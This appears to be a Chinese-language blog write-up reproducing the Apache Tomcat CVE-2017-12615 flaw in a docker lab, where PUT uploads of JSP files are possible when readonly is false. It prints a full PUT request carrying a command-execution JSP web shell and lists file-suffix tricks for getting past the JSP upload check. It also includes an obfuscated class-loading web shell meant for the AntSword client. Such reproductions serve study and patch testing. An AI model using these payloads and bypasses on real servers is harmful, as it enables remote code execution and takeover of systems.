一、漏洞概述
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法
二、漏洞复现
1.启动环境
代码如下(示例):
docker-compose build
docker-compose up -d
运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:
```
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
2.漏洞复现
2.1对页面抓包——修改数据包(post方式 put方法 host写自己的)
PUT /1.jsp HTTP/1.1
Host: 192.168.199.128:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
可以看到返回了404,即表示不被允许的,当我们在.jsp后加入/
这里主要就是绕过文件上传限制
后缀名后加/可绕过上传
PUT /1.jsp/ HTTP/1.1
文件名后缀加::$DATA
上传文件后缀名加上%20
上传文件名后缀加上.
介绍八种请求方式:
HTTP/1.1协议中共定义了八种方法,来表明Request-URL指定的资源不同的操作方式。HTTP/1.0定义了三种请求方法:GET、POST、和HEAD方法HTTP/1.1新增了五种方法:OPTIONS,PUT,CONNECT,DELETE和TRACE方法。
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("cmd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
蚁剑连接
(我这里一直失败 下次换个木马再试试)